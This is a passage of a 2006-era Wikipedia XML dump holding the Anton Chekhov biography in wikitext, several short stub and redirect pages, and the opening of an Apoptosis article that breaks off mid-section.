      <text xml:space="preserve">[[Image:Chekhov 1898 by Osip Braz.jpg|thumb|right|'''Anton Pavlovich Chekhov'''. Oil on canvas by [[Osip Braz]], 1898. From the collection of the Tretyakov Gallery.]]

'''Anton Pavlovich Chekhov''' (Анто́н Па́влович Че́хов) ([[29 January]] [[1860]] &amp;ndash; [[15 July]] [[1904]]) ([[Old Style and New Style dates|Old Style]]: [[17 January]] [[1860]] &amp;ndash; [[2 July]] [[1904]]) was a major [[Russia]]n writer known primarily for his [[short story|short stories]] and [[play]]s. Many of his short stories are considered the [[apotheosis]] of the form while his plays, though few (although only four are considered major), have had a great impact on dramatic literature and performance.

Chekhov is better known in modern-day Russia for his several hundred short stories, many of which are considered masterpieces of the form.  Yet his plays are also major influences on twentieth-century drama.  From Chekhov, many contemporary playwrights have learned how to use mood, apparent trivialities and inaction to highlight the internal [[psychology]] of characters.  Chekhov's four major plays—''[[The Seagull]]'', ''[[Uncle Vanya]]'', ''[[The Three Sisters (play)|Three Sisters]]'', and ''[[The Cherry Orchard]]''—are frequently revived in modern productions.

==Life==
===Early life===
Anton Chekhov was born in [[Taganrog]], a small provincial port on the [[Sea of Azov]], in southern [[Russian Empire|Russia]] on January 29, [[1860]]. A son of a [[grocer]] (his father had the official rank of ''Trader of the Third [[Guild]]'' - купeц 3й гильдии) and grandson to a [[serf]] who had bought his own freedom, Anton Chekhov was the third of six children. 

[[Image:Assumption_Cathedral.jpg|thumb|below|250px|The Assumption Cathedral in [[Taganrog]], [[Russia]], where Anton Chekhov was christened on February 10, 1860.]]

Anton attended a school for Greek boys in [[Taganrog]] ([[1866]]-[[1868]]), and at the age of eight he was sent to the Taganrog [[Gymnasium (school)|Gymnasium]] for boys, where he proved an average pupil. Rather reserved and undemonstrative, he nevertheless gained a reputation for satirical comments, for pranks, and for making up humorous nicknames for his teachers. He enjoyed playing in amateur theatricals and often attended performances at the provincial theater. As an adolescent he tried his hand at writing short &quot;anecdotes&quot;, farcical or facetious stories, although he is also known to have written a serious long play at this time, &quot;Fatherless&quot;, which he later destroyed.

Anton Chekhov was in love with theater and literature from his childhood. The first performance that he attended was [[Jacques Offenbach]]'s operetta ''Elena the Beautiful'' onstage [[Taganrog Theatre|Taganrog City Theater]] on [[October 4]], [[1873]]. Anton was a thirteen years old Gymnasium student, and from that moment on, he became a great theater lover and spent there virtually all his savings. His favorite seat in the theater was at the back gallery for it was cheap (40 silver kopeeks), and because Gymnasium students needed a special authorisation to go to the theater. The permission was given not often and mostly for the weekends. Sometimes, Chekhov and other fellow students disguised themselves and even wore some makeup, spectacles or a fake beard, trying to fool the regular school staff who checked for unauthorized presence of students.

The writer's mother, Yevgeniya, was an excellent storyteller, and Chekhov is supposed to have acquired his own gift for narrative and to have learned to read and write from her. His father, Pavel Yegorovich Chekhov, a strict [[disciplinarian]] and a religious [[zealot]], demanded from all dedication to the [[Eastern Orthodox Church]] and the family business. In [[1875]], facing [[bankruptcy]], he was forced to escape from [[creditor]]s to [[Moscow]], where his two eldest sons were attending the university, and for the next several years the family lived in poverty.
[[Image:Chekhov house.jpg|thumb|250px|'''Chekhov Birthhouse''' in [[Taganrog]].]]

Anton stayed behind in [[Taganrog]] for three more years to finish school. He made ends meet by giving private tutoring, selling off household goods, and later, working in a clothing warehouse.  In [[1879]], Chekhov completed schooling at the [[gymnasium (school)|gymnasium]] and joined his family in Moscow, having gained admission to the medical school at [[Moscow State University]].

===Early writings===
In a bid to support his family, Chekhov started writing short, humorous sketches and vignettes of contemporary Russian life, many under [[pseudonym]]s such as Antosha Chekhonte (Антоша Чехонте), ''Man without the spleen'' (Человек без селезенки), and others.  His first published piece appeared in the [[St Petersburg]] weekly ''Strekoza'' (Стрекоза, &quot;Dragonfly&quot;) in March, [[1880]]. It is not known how many stories Chekhov wrote during this period, but his output was prodigious, and he rapidly earned a reputation as a satirical chronicler of Russian street life.

Nicolas Leykin, one of the leading publishers of the time and the owner of ''Oskolki'' (Осколки, &quot;Fragments&quot;), to which Chekhov began submitting some of his finer works, recognized the writer's talent but restricted the length of Chekhov's prose, limiting him only to sketches of a page and a half in length. Some believe that it was this limitation that developed Chekhov's trademark concise style.  

Chekhov qualified as a [[physician]] in [[1884]], but continued writing for weekly periodicals and in [[1885]] began submitting to the ''Peterburgskaya Gazeta'' (&quot;The Petersburg Gazette&quot;) longer works of a more somber nature; these were rejected by Leykin.  By December 1885 he was invited to write for one of the most respected papers of St Petersburg, ''Novoye vremya'' (Новое Время, &quot;New Times&quot;), owned and edited by the millionaire magnate Alexey Suvorin.  By [[1886]] Chekhov was becoming a well-known writer, but he still considered his writing a [[hobby]].

[[Dmitrii Grigorovich]], one of the many writers who were attracted to Chekhov's stories, persuaded him to take his talents seriously.  In an immensely fruitful year Chekhov wrote over a hundred stories and published his first collection &quot;Motley Tales&quot; {''Pestrye rasskazy'') with support from Suvorin, and in the following year the short story collection &quot;At Dusk&quot; (''V sumerkakh'') won Chekhov the coveted [[Pushkin Prize]].  This would mark the beginnings of a highly productive career for the writer.

=== Mature years ===
In the late [[1880s]], Chekhov contracted [[tuberculosis]] from his patient. In [[1887]], forced by overwork and ill health, Chekhov undertook a trip to eastern [[Ukraine]].  Upon his return, he started writing the long short story ''The Steppe'' (''Step''), which was eventually published in a serious literary journal ''Severny vestnik'' (&quot;Northern Herald&quot;).  This short story marked a new height for the writer, having the prestige to be published in a leading periodical of the time and showing the maturity that distinguished his later fiction.

[[Image:1900 yalta-gorky and chekhov.jpg|left|thumb|300px|With [[Maxim Gorky]] at [[Yalta]] in 1900.]]

The first production of &quot;The Seagull,&quot; which premiered October 17, 1896, in St. Petersburg, was disastrous for Chekhov. The opening night audience was expecting a comedy and the company had had only nine days to rehearse. Jeers and boos greeted Nina's monologue at the end of Act I. So distraught was Chekhov that he wrote &quot;I shall never forget last evening...I shall not have that play produced in Moscow, ever. NEVER again shall I write play or have them staged.&quot; (As luck would have it, audiences from the 2nd and 3rd nights were more appreciative; however, Chekhov ignored them.)

After the second production of ''The Seagull'' (and first successful one) by the [[Moscow Art Theatre]], in 1898, he wrote three more plays for the same company: ''Uncle Vanya'', ''The Three Sisters'' and ''The Cherry Orchard''. In [[1901]] he married [[Olga Leonardovna Knipper]] ([[1870]]-[[1959]]), an actress who performed in his plays.

The movement toward [[Naturalism (literature)|naturalism]] in theatre that was sweeping Europe reached its highest artistic peak in Russia in 1898 with the formation of the Moscow Art Theatre (later, until recently, called МХАТ, the [[Moscow Academy Art Theatre]]). Its name became synonymous with that of Chekhov, whose plays about the day-to-day life of the [[landed gentry]] achieved a delicate poetic realism that was years ahead of its time. [[Konstantin Stanislavsky]], its director, became the [[20th century]]'s most influential theorist on acting.

Accompanied by Suvorin, Chekhov visited western [[Europe]]. Their long and close friendship negatively reflected on Chekhov's popularity, as Suvorin's ''Novoye vremya'' was considered politically reactionary in the increasingly liberal times. Eventually, Chekhov broke with Suvorin over the attitude taken by the paper toward the notorious [[Dreyfus Affair]] in [[France]], with Chekhov championing the cause of [[Alfred Dreyfus]].

His illness forced Chekhov to spend long periods of time in [[Nice]], [[France]] and later in [[Yalta]] in the [[Crimea]]. Chekhov died of complications of tuberculosis in [[Badenweiler]], [[Germany]] where he had been visiting a special clinic for treatment. He was buried in [[Novodevichy Cemetery]].

== Assessment ==
It can be safely said that Chekhov revolutionized the [[literary genre|genre]] of short story; his subject matter and technique influenced many future short-story writers.  It is often said that little action occurs in Chekhov's stories and plays, but he compensates for lack of outward excitement by his original techniques for developing internal drama. The point of a typical Chekhov story is most often what happens within a given character, and that is conveyed indirectly, by suggestion or by significant detail.  Chekhov eschews the traditional build-up of chronological detail, instead emphasizing moments of epiphanies and illumination over a significantly shorter period of time.  As such, his best stories have a psychological realism and concision seldom matched by other writers.  [[Tolstoy]] likened Chekhov's technique to that of the French [[Impressionists]], who daubed canvases with paint apparently without reason, but achieved an overall effect of vivid, unchallengeable artistry.  
[[Image:Grave of Anton Chekhov.jpg|thumb|Gravestone in Novodevichy Cemetery, Moscow.]]

One critic &lt;!-- name?? --&gt; says of Chekhov that he is no moralist &amp;mdash; he simply says &quot;you live badly, ladies and gentlemen,&quot; but his smile has the indulgence of a very wise man.

As samples of the Russian epistolary art, Chekhov's letters have been rated second only to [[Aleksandr Pushkin]]'s by the literary historian [[D.S. Mirsky]]. Although Chekhov is still chiefly known for his plays, critical opinion shows signs of establishing the stories, particularly those that were written after [[1888]], as an even more significant and creative literary achievement.

Equally innovative in his dramatic works, Chekhov sought to convey the texture of everyday life and move away from traditional ideas of plot and conventions of dramatic speech.  Dialogue in his plays is not smooth or continuous: characters interrupt each other, several different conversations take place at the same time, and lengthy pauses occur when no one speaks at all.  A recurring theme is the pointlessness of radical, human or mechanical change, versus the powerful inertia of slow organic cycles.

&lt;!-- consider moving this para into Quotes, after finding the name of...
One of the actors once told Chekhov that Stanislavsky intended to have frogs croaking, the sound of dragonflies, and dogs barking on the stage. &quot;Why?&quot; Chekhov asked with a note of dissatisfaction in his voice. &quot;It is realistic,&quot; the actor replied. &quot;Realistic,&quot; Chekhov repeated with a laugh, and after a slight pause he said: &quot;The stage is art. There is a canvas of Kranskoi (a famous Russian painter) in which he wonderfully depicts human faces and substituted a real one. The nose will be realistic but the picture will be spoiled.&quot; --&gt;
Perhaps one of his best known contributions is ''[[Chekhov's dictum]]'' (also known as ''Chekhov's Gun''): ''If you say in the first chapter that there is a rifle hanging on the wall, in the second or third chapter it absolutely must go off. If it's not going to be fired, it shouldn't be hanging there.''

==Influence==
[[Image:Anton Tschechow Denkmal.JPG|thumb|150px|left|A bust of Chekov in Badenweiler, Germany, where he died.]]
Although contemporary [[Russia]]n literary critics celebrated Chekhov, international fame came only after [[World War I]] with [[Constance Garnett]]'s [[English language|English]] translations.

Chekhov's plays were immensely popular in [[England]] in the [[1920s]] and have become classics of the [[United Kingdom|British]] stage. In the [[United States]] his fame came somewhat later, through the influence of Stanislavsky's technique for achieving realistic acting. American [[playwright]]s such as [[Tennessee Williams]], [[Arthur Miller]], and [[Clifford Odets]] have used Chekhovian techniques, and few important writers of plays in the 20th century can have escaped Chekhov's influence entirely: for example, the work by British playwright [[Michael Frayn]] is often compared to that of Chekhov for its focus on humorous family situations and its insights into society.

Many writers of prose, particularly of short stories, have also been influenced by Chekhov, such as [[Katherine Mansfield]]. [[John Cheever]] has been called &quot;the Chekhov of the suburbs&quot; for his ability to capture the drama and sadness of the lives of his characters by revealing the undercurrents of apparently insignificant events.  American writer [[Raymond Carver]] was also frequently compared to Chekhov, because of his minimalistic prose style, and tendency to meditate upon the humor and tragedy in the everyday lives of working class people. 
Master of the short story, the British author [[Victor Sawdon Pritchett]]'s short stories are prized for their craftsmanship and comic irony similar to that of Chekhov.

The continuously growing list of films and theater productions based on Chekhov's stories and plays includes [[Emil Loteanu]]'s ''My Tender and Affectionate Beast'' (1978, see {{imdb title|id=0172812|title=Мой ласковый и нежный зверь}}), [[Nikita Mikhalkov]] and [[Marcello Mastroianni]]'s ''Dark Eyes'' (1987), [[Louis Malle]]'s ''Vanya on 42nd Street'' (1994), [[Anthony Hopkins]]'s ''August'' (1996), [[Lanford Wilson]]'s ''The Three Sisters'' (1997), among many others.

== Works ==
=== Plays ===
*''That Worthless Fellow Platonov'' (c.[[1881]]) - one act
*''On the Harmful Effects of Tobacco'' ([[1886]], [[1902]])
*''Ivanov'' ([[1887]]) - four acts
*''The Bear'' ([[1888]]) - one act comedy
*''The Proposal'' or [[A Marriage Proposal]] (c.[[1888]]-[[1889]]) - one act
*''The Wedding'' ([[1889]]) - one act 
*''The Wood Demon'' ([[1889]]) - four-act comedy
*''[[The Seagull]]'' ([[1896]])
*''[[Uncle Vanya]]'' ([[1899]]-[[1900]]) - based on ''The Wood Demon''
*''[[The Three Sisters (play)|Three Sisters]]'' ([[1901]])
*''[[The Cherry Orchard]]'' ([[1904]])

=== Nonfiction ===
*''A Journey to Sakhalin'' ([[1895]]), including:
**''Saghalien [or Sakhalin] Island'' ([[1891]]-[[1895]])
**''Across Siberia''
*Letters

=== Short stories ===
Many of the earlier stories were written under the pseudonym &quot;Antosha Chekhonte&quot;.
*&quot;Intrigues&quot; ([[1879]]-[[1884]]) - nine stories
*&quot;Late-Blooming Flowers&quot; ([[1882]])
*&quot;The Death of a Government Clerk&quot; ([[1883]])
*&quot;The Swedish Match&quot; ([[1883]])
*&quot;Lights&quot; ([[1883]]-[[1888]])
*&quot;Oysters&quot; ([[1884]])
*&quot;Perpetuum Mobile&quot; ([[1884]])
*''A Living Chronology'' ([[1885]])
*&quot;Motley Stories&quot; (&quot;Pëstrye Rasskazy&quot;) ([[1886]])
*&quot;Excellent People&quot; ([[1886]])
*&quot;Misery&quot; ([[1886]])
*&quot;The Princess&quot; ([[1886]])
*&quot;The Scholmaster&quot; ([[1886]])
*&quot;A Work of Art&quot; ([[1886]])
*&quot;Hydrophobia&quot; ([[1886]]-[[1901]])
*&quot;At Home&quot; ([[1887]])
*&quot;The Beggar&quot; ([[1887]])
*&quot;The Doctor&quot; ([[1887]])
*&quot;Enemies&quot; ([[1887]])
*&quot;The Examining Magistrate&quot; ([[1887]])
*&quot;Happiness&quot; ([[1887]])
*&quot;The Kiss&quot; ([[1887]])
*&quot;On Easter Eve&quot; ([[1887]])
*&quot;Typhus&quot; ([[1887]])
*&quot;Volodya&quot; ([[1887]])
*&quot;The Steppe&quot; ([[1888]]) - won the Pushkin Prize
*&quot;An Attack of Nerves&quot; ([[1888]])
*&quot;An Awkward Business&quot; ([[1888]])
*&quot;The Beauties&quot; ([[1888]])
*&quot;The Swan Song&quot; ([[1888]])
*&quot;Sleepy&quot; ([[1888]])
*&quot;The Name-Day Party&quot; ([[1888]])
*&quot;A Boring Story&quot; ([[1889]])
*&quot;Gusev&quot; ([[1890]])
*&quot;The Horse Stealers&quot; ([[1890]])
*&quot;The Duel&quot; ([[1891]])
*&quot;Peasant Wives&quot; ([[1891]])
*&quot;Ward No 6&quot; ([[1892]])
*&quot;In Exile&quot; ([[1892]])
*&quot;The Grasshopper&quot; ([[1892]])
*&quot;Neighbours&quot; ([[1892]])
*&quot;Terror&quot; ([[1892]])
*&quot;My Wife&quot; ([[1892]])
*&quot;The Butterfly&quot; ([[1892]])
*&quot;The Two Volodyas&quot; ([[1893]])
*&quot;An Anonymous Story&quot; ([[1893]])
*&quot;The Black Monk&quot; ([[1894]])
*&quot;The Head Gardener's Story&quot; ([[1894]])
*&quot;Rothschild's Fiddle&quot; ([[1894]])
*&quot;The Student&quot; ([[1894]])
*&quot;The Teacher of Literature&quot; ([[1894]])
*&quot;A Woman's Kingdom&quot; ([[1894]])
*&quot;Three Years&quot; ([[1895]])
*&quot;Ariadne&quot; ([[1895]])
*&quot;Murder&quot; ([[1895]])
*&quot;The House with an Attic&quot; ([[1896]])
*&quot;My Life&quot; ([[1896]])
*&quot;Peasants&quot; ([[1897]])
*&quot;In the Cart&quot; ([[1897]])
*&quot;The Man in a Case&quot;, &quot;Gooseberries&quot;, &quot;About Love&quot; - the 'Little Trilogy' ([[1898]])
*&quot;Ionych&quot; ([[1898]])
*&quot;A Doctor's Visit&quot; ([[1898]])
*&quot;The New Villa&quot; ([[1898]])
*&quot;On Official Business&quot; ([[1898]])
*&quot;The Darling&quot; ([[1899]])
*&quot;The Lady with the Dog&quot; ([[1899]])
*&quot;At Christmas&quot; ([[1899]])
*&quot;In the Ravine&quot; ([[1900]])
*&quot;The Bishop&quot; ([[1902]])
*&quot;The Bet&quot; ([[1889]])
*&quot;Betrothed&quot; or &quot;A Marriageable Girl&quot; ([[1903]])
*&quot;Agafya&quot;
*&quot;The Pipe&quot;
*&quot;The Lottery Ticket&quot;
*&quot;Verochka&quot;

=== Novel ===
*''The Shooting Party'' ([[1884]]-[[1885]])

==External links==
{{Commons|Anton Pavlovič Čechov}}
{{wikiquote}}
* {{gutenberg author| id=Anton+Pavlovich+Chekhov | name=Anton Chekhov}}
*[http://www.kunalsharma.com/antonchekhov/index.htm An easy-to-surf and easy-to-read Collection of Stories by the Great Writer Anton Chekhov]
*[https://www.audioville.co.uk/store/view.php?Id=199 Download audio recordings of a selection of his short stories]
*[http://ilibrary.ru/author/chekhov/ Texts of Chekhov's works in the original Russian]
*{{imdb name|id=0155009|name=Anton Chekhov}}
*[http://www.taganrogcity.com Official Web Site of the City of Taganrog, &quot;The Birthplace of Anton Chekhov&quot;]
*[http://www.hackwriters.com/chekhov.htm In depth review of Chekhov's short stories]
*[[Faina Ranevskaya]]
*[http://www.russian-literature-online.com/anton-chekhov/ Read Anton Chekhov's works online] translated into English in an easy to read HTML format

[[Category:1860 births|Chekhov, Anton]]
[[Category:1904 deaths|Chekhov, Anton]]
[[Category:Russian dramatists and playwrights|Chekhov, Anton]]
[[Category:Russian novelists|Chekhov, Anton]]
[[Category:Russian short story writers|Chekhov, Anton]]

[[ar:أنطون تشيكوف]]
[[ast:Anton Chekhov]]
[[bg:Антон Чехов]]
[[ca:Anton Txèkhov]]
[[cs:Anton Pavlovič Čechov]]
[[da:Anton Tjekhov]]
[[de:Anton Pawlowitsch Tschechow]]
[[et:Anton Tšehhov]]
[[es:Antón Chéjov]]
[[eo:Anton ĈEĤOV]]
[[fr:Anton Tchekhov]]
[[gl:Chekhov - Антон Павлович Чехов]]
[[ko:안톤 체호프]]
[[hr:Anton Pavlovič Čehov]]
[[it:Anton Čechov]]
[[he:אנטון צ'כוב]]
[[ka:ჩეხოვი, ანტონ]]
[[hu:Anton Pavlovics Csehov]]
[[nl:Anton Tsjechov]]
[[ja:アントン・チェーホフ]]
[[no:Anton Tsjekhov]]
[[pl:Anton Czechow]]
[[pt:Anton Pavlovitch Tchékhov]]
[[ro:Anton Cehov]]
[[ru:Чехов, Антон Павлович]]
[[sh:Anton Pavlovič Čehov]]
[[sk:Anton Pavlovič Čechov]]
[[sl:Anton Pavlovič Čehov]]
[[fi:Anton Tšehov]]
[[sv:Anton Tjechov]]
[[tr:Anton Çehov]]
[[zh:契訶夫]]</text>
    </revision>
  </page>
  <page>
    <title>Action Against Hunger</title>
    <id>2448</id>
    <revision>
      <id>41859395</id>
      <timestamp>2006-03-02T04:54:07Z</timestamp>
      <contributor>
        <ip>142.104.250.115</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Action Against Hunger''' (also known under French name '''Action Internationale Contre la Faim''') is international non-profit non-governmental organization that fights against hunger, the [[physiology|physiological]] need to eat, worldwide.

AAH was founded in [[1979]] by group of [[France|French]] doctors, scientists, journalists and writers.
In following years, three more chapters were founded: [[United States|American]] in [[1985]], [[Spain|Spanish]] it [[1994]] and [[United Kingdom|UK]] in [[1995]].

AAH has projects in 40 countries and helps 4 million people yearly.

==External links==
* [http://www.acf-fr.org/ Action Contre la Faim (France)]
* [http://www.aah-usa.org/ Action Against Hunger (USA)]
* Action Against Hunger (UK)
* [http://www.achesp.org/ Accion Contra el Hambre (Spain)]

{{charity-org-stub}}

[[Category:International charities]]
[[Category:French charities]]

[[fr:Action contre la faim]]
[[pl:Action Internationale Contre la Faim]]</text>
    </revision>
  </page>
  <page>
    <title>AW</title>
    <id>2452</id>
    <revision>
      <id>41041444</id>
      <timestamp>2006-02-24T17:53:29Z</timestamp>
      <contributor>
        <ip>71.126.249.33</ip>
      </contributor>
      <text xml:space="preserve">'''AW''', '''aW''' or '''aw''' may stand for:
{{TOCright}}
==AW==
*[[Active Worlds]]
*[[Addison-Wesley]], publishers
*[[Ahrweiler]] district in Germany
*[[After Waizz]], a dating system used in the [[Phantasy Star series]] videogame series.
*[[Allied Waste Industries]] Inc, stock symbol on NYSE
*''[[Another World (TV series)]]'', abbreviation
*[[Arctic Warfare]], a British sniper rifle
*[[Aruba]], the ISO 3166-1 2-letter country code
*[[A&amp;W Restaurants]] or [[A&amp;W Root Beer]]
*[[Dirgantara Air Services]] (Indonesia) (IATA code)
*[[Schreiner Airways]] (Netherlands) (ATA code)
*[[Advance Wars]]

==aW==
*[[atto]][[watt]], an SI unit of power

==aw==
*[[Water activity]] (aw) relative availability of water in a substance.


==See also==
* [[.aw]], the ccTLD for Aruba
{{disambig}}

[[fr:AW]]
[[ko:AW]]
[[it:Aw]]
[[ja:AW]]
[[sl:AW]]</text>
    </revision>
  </page>
  <page>
    <title>Akhal-Tekes</title>
    <id>2453</id>
    <revision>
      <id>15900863</id>
      <timestamp>2002-08-12T11:09:14Z</timestamp>
      <contributor>
        <username>Rmhermen</username>
        <id>835</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Akhal-Teke]]</text>
    </revision>
  </page>
  <page>
    <title>AsDB</title>
    <id>2455</id>
    <revision>
      <id>15900864</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Asian Development Bank]]
</text>
    </revision>
  </page>
  <page>
    <title>Apoptosis</title>
    <id>2457</id>
    <revision>
      <id>41837441</id>
      <timestamp>2006-03-02T01:44:59Z</timestamp>
      <contributor>
        <username>Tycho</username>
        <id>139187</id>
      </contributor>
      <minor />
      <comment>rvd</comment>
      <text xml:space="preserve">[[Image:Apoptosis-blank.png|thumb|right|200px|Apoptosis]]
In [[biology]], '''apoptosis''' (from the [[Greek language|Greek]] words ''apo'' = from and ''ptosis'' = falling, commonly pronounced ''ap-a-tow'-sis''&lt;small&gt;&lt;sup&gt;[http://www.nih.gov/sigs/aig/Aboutapo.html]&lt;/sup&gt;&lt;/small&gt;) is one of the main types of [[programmed cell death]] (PCD). As such, it is a process of deliberate life relinquishment by an unwanted [[Cell (biology)|cell]] in a multicellular [[organism]]. In contrast to [[necrosis]], which is a form of cell death that results from acute cellular injury, apoptosis is carried out in an ordered process that generally confers advantages during an organism's life cycle. For example, the differentiation of [[human]] [[finger]]s  in a developing [[embryo]] requires the cells between the fingers to initiate apoptosis so that the fingers can separate. The way the apoptotic process is executed facilitates the safe disposal of cell corpses and fragments.

Since the beginning of the [[1990s]], research on apoptosis has grown spectacularly. In addition to its importance as a biological phenomenon, defective apoptotic processes have been implicated in an extensive variety of diseases. ''Too much'' apoptosis causes cell-loss disorders, whereas ''too little'' results in uncontrolled cell proliferation, namely [[cancer]]ous [[tumor]]s.

Not all forms of PCD share the characteristic shapes (the [[Morphology (biology)|morphology]]) and sequences of apoptosis, but all types of PCD are highly-regulated processes.

== Functions of apoptosis ==

=== Cell damage or infection ===
Apoptosis can occur, for instance, when a cell is damaged beyond repair, or infected with a [[virus (biology)|virus]]. The &quot;decision&quot; for apoptosis can come from the cell itself, from its surrounding tissue or from a cell that is part of the [[immune system]].

If a cell's capability of apoptosis is damaged (for example, by [[mutation]]), or if the initiation of apoptosis is blocked (by a virus), a damaged cell can continue dividing without restrictions, developing into [[cancer]]. For example, as part of the hijacking of the cell's genetic system carried out by [[human papillomavirus]]es (HPV), a gene called ''E6'' is expressed in a product that degrades [[p53 gene|p53]] protein, which is a vital piece of the apoptotic pathway. This severe interference in the apoptotic capability of cells plays a critical role in the fact that persistent infection by oncogenic HPVs can result in the development of [[cervical cancer]].

=== Response to stress or DNA damage ===
Stress conditions (such as starvation) as well as damage to the cell's DNA resulting from toxicity or exposure to ultraviolet or ionizing radiation, such as γ- or X-rays, can induce a cell to begin an apoptotic process. A fascinating example, resulting from damage to the genome in the cell nucleus, is apoptosis triggered by the nuclear enzyme poly(ADP-ribose) polymerase-1, or PARP-1. This enzyme plays a crucial role in maintaining genomic integrity, and massive activation of PARP-1 can deplete the cell of energy-providing molecules, an event that sends signals from the nucleus for the mitochondria to start the Apoptotic process.

=== Homeostasis ===
In the adult organism, the number of cells within an [[organ (anatomy)|organ]] or tissue has to be constant within a certain range. Blood and skin cells, for instance, are constantly renewed by their respective progenitor cells; but proliferation has to be compensated by cell death. This balancing process is part of the ''[[homeostasis]]'' required by living organisms to maintain their internal states within certain limits. Some authors and researchers like Steven Rose and [[Antonio Damasio]] have suggested ''homeodynamics'' as a more accurate and eloquent term ([[Apoptosis#References|Damasio 1999]], p. 141).

From 50 billion to 70 billion cells die each day due to apoptosis in the average human adult. In a year, this amounts to the proliferation and subsequent destruction of a mass of cells equal to an individual's body weight.

Homeostasis is achieved when the rate of [[mitosis]] (cell proliferation) in the tissue is balanced by cell death. If this equilibrium is disturbed, either of two things happen:
* The cells are dividing faster than they die, effectively developing a [[tumor]].
* The cells are dividing slower than they die, which results in a disorder of cell loss.
Both states can be fatal or highly damaging.

For instance, misregulation of Hedgehog (Hgg) protein signalling (see [[Apoptosis#Development|Development]], below) has been implicated in several forms of cancer. Hgg, which conveys an anti-apoptotic signal, has been found to be overexpressed in [[pancreas|pancreatic]] adenocarcinoma tissues.

=== Development ===
Programmed cell death is an integral part of both plant and [[metazoa]]n (multicellular animals) [[biological tissue|tissue]] [[developmental biology|development]]. It does not resemble the sort of reaction that comes as a result of tissue damage due to accident or [[pathogen]]ic infection (cell death by [[necrosis]]). Instead of swelling and bursting - hence spilling their possibly damaging internal contents into extracellular space - apoptotic cells and their [[cell nucleus|nuclei]] shrink, and often fragment. In this way, they can be efficiently [[phagocytose]]d (and, as a consequence of this, their components reused) by [[macrophage]]s or by neighboring cells.

Research on chick embryos - specifically on chick [[neural tube]] development - has suggested how selective cell proliferation, combined with selective apoptosis, sculpts developing tissues in vertebrates. During vertebrate embryo development, structures called the [[notochord]] and the floor plate secrete a gradient of the signaling molecule [[Sonic hedgehog]] (Shh), and it is this gradient that directs cells to form patterns in the embryonic neural tube: Cells that receive Shh in a receptor in their membranes called Patched1 (Ptc1) survive and proliferate; but, in the absence of Shh, one of the ends of this same Ptc1 receptor (the carboxyl-terminal, inside the membrane) is cleaved by caspase-3, an action that exposes an apoptosis-producing domain (see the Perspective by Isabel Guerrero and Ariel Ruiz i Altaba [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12907783] and the research report by Chantal Thibert ''et
al.''[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12907805]).

Research like the one carried out by Thibert and her colleagues has begun to clarify some of the fundamental aspects of [[morphogenesis]], or the development of organisms from fertilized eggs to fully-developed animals and plants. It has also suggested specific answers to why normal cells carry out apoptosis when they end up outside the places they should be in body tissues.

=== Immune cell regulation ===
[[B cell]]s and [[T cell]]s are sophisticated &amp;ndash;and very effective&amp;ndash; front-line players in the body's defenses against infectious agents, as well as against local cells that have acquired or developed a malignancy. In order to carry out their job, B and T cells must have the ability to discriminate &quot;self&quot; from &quot;nonself,&quot; and &quot;healthy&quot; from &quot;unhealthy,&quot; [[antigen]]s (protein segments that make a good fit, like a key and a lock, with specialized receptors in B and T cell membranes). For instance, &quot;killer&quot; T cells can be activated when presented with fragments of inappropriately-expressed proteins (resulting, say, from a malignant mutation) or with foreign antigens produced as a consequence of a viral infection. After becoming activated, they migrate out of the lymph nodes in which they reside, proliferate, recognize the affected cells and commit them to programmed cell death.

The receptors in immature B and T cell membranes are not tailored precisely to coincide with &quot;known&quot; antigens. Rather, they are generated through a highly-variable process that results in an immense variety, capable of making a good fit with an astounding number of precise molecular shapes. This means that most of these immature cells can be either ineffective (because the almost random shapes of their receptors do not engage any antigen of significance) or dangerous to their own organism, because their receptors could make a good molecular fit with healthy self antigens. If they were to be let loose without any further processing, many could become ''autoreactive'' and attack healthy body cells. The way the immune system regulates this process is by &quot;deleting&quot; both the ineffective and the potentially damaging immature cells via apoptosis.

As has just been described in the previous section on development, all tissue in multicellular animals depends on continuous receipt of survival signals. In the case of T cells, as they develop and mature in the thymus, the survival signal depends on their capability to engage foreign antigens. Those that fail in this test, amounting to about 97% of the freshly-produced T cells, are committed to programmed cell death. The survivors are tested as well for potentially damaging autoimmune reactions, and those that show high affinity to healthy self antigens are killed via apoptosis.

Be aware that such a portrayal presents a highly-simplified picture: The actual process in which B and T cells are driven to proliferation, differentiation or apoptosis comprises a complex interplay between positive and negative regulators.

== Apoptotic process ==

=== Morphology ===
A cell undergoing apoptosis shows a characteristic morphology that can be seen under a [[microscope]]:

# The cell becomes round (circular). This occurs because the protein structures that conform the cytoskeleton are digested by specialized  [[peptidase]]s (called ''[[caspase]]s'') that have been activated inside the cell.
# [[Chromatin]] ([[DNA]] and its packaging [[protein]]s in the [[cell nucleus]]) undergoes initial degradation and condensation (see the article by Madeleine Kihlmark ''et al.'', in   [http://jcs.biologists.org/cgi/content/full/114/20/3643]).
# Chromatin undergoes further condensation into compact patches against the [[nuclear envelope]]. At this stage, the double membrane that surrounds the nucleus still appears complete; however, as observed by Kihlmark and colleagues, specialized caspases have already advanced in the degradation of nuclear pore proteins and have begun to degrade the [[lamin]] that underlies the nuclear envelope. It must be noted, also, that, while the previous stage of initial chromatin condensation has been observed in nonapoptotic forms of programmed cell death, this advanced stage (called [[pyknosis]]) is considered a hallmark of apoptosis. [http://www.jem.org/cgi/content/abstract/192/4/571]
# The nuclear envelope becomes discontinuous and the DNA inside it is fragmented (a process referred to as [[karyorrhexis]]). The nucleus breaks into several discrete ''[[chromatin]] bodies'' or ''nucleosomal units'' due to the degradation of DNA [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10739646].
# [[Plasma membrane]] blebbings.
# The cell is [[phagocytosis|phagocytosed]], ''or''
# The cell breaks apart into several [[vesicle (biology)|vesicle]]s called ''apoptotic bodies'', which are then phagocytosed.

=== Biochemical signals for safe disposal ===
